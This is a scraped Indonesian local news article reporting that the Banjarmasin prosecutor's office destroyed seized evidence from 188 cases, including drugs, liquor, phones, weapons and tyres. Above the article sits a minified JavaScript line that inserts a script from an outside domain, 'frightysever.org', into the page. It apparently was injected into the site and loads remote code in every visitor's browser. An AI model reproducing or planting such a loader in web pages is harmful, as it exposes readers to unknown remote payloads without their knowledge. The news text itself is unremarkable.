(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Kejari Banjarmasin Musnahkan Barang Bukti Ratusan Handphone, Senpi Rakitan hingga Ban Luar Mobil


KANALKALIMANTAN.COM, BANJARMASIN – Kejaksaan Negeri (Kejari) Banjarmasin melakukan pemusnahan barang bukti hasil perkara tindak pidana selama beberapa bulan terakhir, Rabu (20/12/2023) siang.

Pemusnahan barang bukti berlangsung di halaman Kejari Banjarmasin Jalan Brigjen Hasan Basri. Barang bukti yang dimusnahkan antara lain sabu 558,65 gram, ekstasi 64 butir, ganja kering 0,06 gram, ganja 0,10 gram, obat daftar G 36.817 tablet. Kemudian 222 botol minuman keras (miras), 308 buah handphone, 20 bilah senjata tajam, 5 buah senjata api rakitan, serta 27 ban luar mobil (kasus perlindungan konsumen).

Kepala Kejari Banjarmasin, Dr Indah Laila MH melalui Kasi Intel Kejari Banjarmasin, Dimas Purnama Putra SH MH mengungkapkan, barang bukti yang dimusnahkan hasil penyitaan dari 188 perkara sejak bulan September-Desember 2023.

Baca juga: Tilep Dana BOS, Pengawas SD di Tapin Menangis Dituntut 15 Bulan Penjara

Pihaknya memastikan, barang bukti yang dimusnahkan Kejari Banjarmasin setelah adanya putusan pengadilan yang berkekuatan hukum tetap atau inkrah, serta berdasarkan dasar hukum pasal 46 ayat (2) KUHAP.

“Barang bukti yang dimusnahkan telah mempunyai kekuatan hukum tetap dari 188 perkara,” kata Dimas

Proses pemusnahan barang bukti narkoba jenis sabu dilakukan dengan cara diblender dicampur sabun, baru kemudian dibuang ke dalam septic tank.

Baca juga: Lewati Polisi Berpatroli, Pemuda Mabuk Tertangkap Bawa Tiga Bilah Sajam

Sementara untuk barang bukti obat daftar G dimusnahkan dengan cara dibakar.

Lain halnya dengan barang bukti seperti sajam, handphone, timbangan, dan senjata api rakitan dimusnahkan dengan cara dihancurkan.

Baca juga: Bunda Literasi HSU Ajak Generasi Milenial Perbanyak Baca Buku

Kegiatan pemusnahan dipimpin langsung Kepala Kejari Banjarmasin Dr Indah Laila dan dihadiri Kasi Pengembalian Barang Bukti dan Barang Rampasan (PB3R) Samsika Dien Ermika Stamsu SH MH, serta beberapa Kasi lainnya. (Kanalkalimantan.com/rizki) 

Reporter : rizki

Editor : bie


Muhammad Andi

Recent Posts

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

5 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

5 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

10 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

11 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

11 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

11 jam ago

This website uses cookies.